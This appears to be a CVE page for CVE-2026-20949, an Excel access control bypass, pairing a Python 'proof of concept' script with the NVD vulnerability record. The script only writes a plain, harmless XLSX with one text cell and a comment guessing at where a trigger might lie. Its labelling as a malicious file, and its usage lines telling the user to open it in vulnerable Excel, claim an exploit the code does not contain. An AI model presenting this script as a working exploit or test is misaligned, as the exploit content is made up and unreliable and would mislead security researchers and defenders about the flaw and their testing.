CVE-2026-20949

# CVE-2026-20949 PoC - Microsoft Office Excel Access Control Bypass # Note: This is a conceptual PoC for educational purposes only import zipfile import struct import os def create_exploit_xlsx(output_path): """ Create a malicious Excel file to demonstrate CVE-2026-20949 This PoC triggers the improper access control vulnerability """ try: # Create a basic XLSX file structure with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml - Required for valid XLSX content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' xlsx.writestr('[Content_Types].xml', content_types) # _rels/.rels - Package relationships rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' xlsx.writestr('_rels/.rels', rels) # xl/workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' xlsx.writestr('xl/workbook.xml', workbook) # xl/_rels/workbook.xml.rels wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''' xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels) # xl/worksheets/sheet1.xml - Contains malicious content sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1"> <v>CVE-2026-20949 Test File</v> </c> </row> </sheetData> <!-- Vulnerability trigger: The access control bypass may be triggered through specific XML attributes or elements that exploit the parsing logic --> <extendedProperties> <application>Microsoft Office Excel</application> </extendedProperties> </worksheet>''' xlsx.writestr('xl/worksheets/sheet1.xml', sheet) print(f"[+] PoC XLSX file created: {output_path}") print("[*] This file demonstrates the improper access control vulnerability") return True except Exception as e: print(f"[-] Error creating PoC: {e}") return False if __name__ == "__main__": # Generate PoC file output_file = "CVE-2026-20949-poc.xlsx" create_exploit_xlsx(output_file) print("\n[!] Usage: Open this file in vulnerable Microsoft Office Excel version") print("[!] Expected: Security feature bypass may occur")

{"cve": {"id": "CVE-2026-20949", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:22.487", "lastModified": "2026-01-16T16:20:58.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Microsoft Office Excel allows an unauthorized attacker to bypass a security feature locally."}, {"lang": "es", "value": "Control de acceso inadecuado en Microsoft Office Excel permite a un atacante no autorizado eludir una característica de seguridad localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20949", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}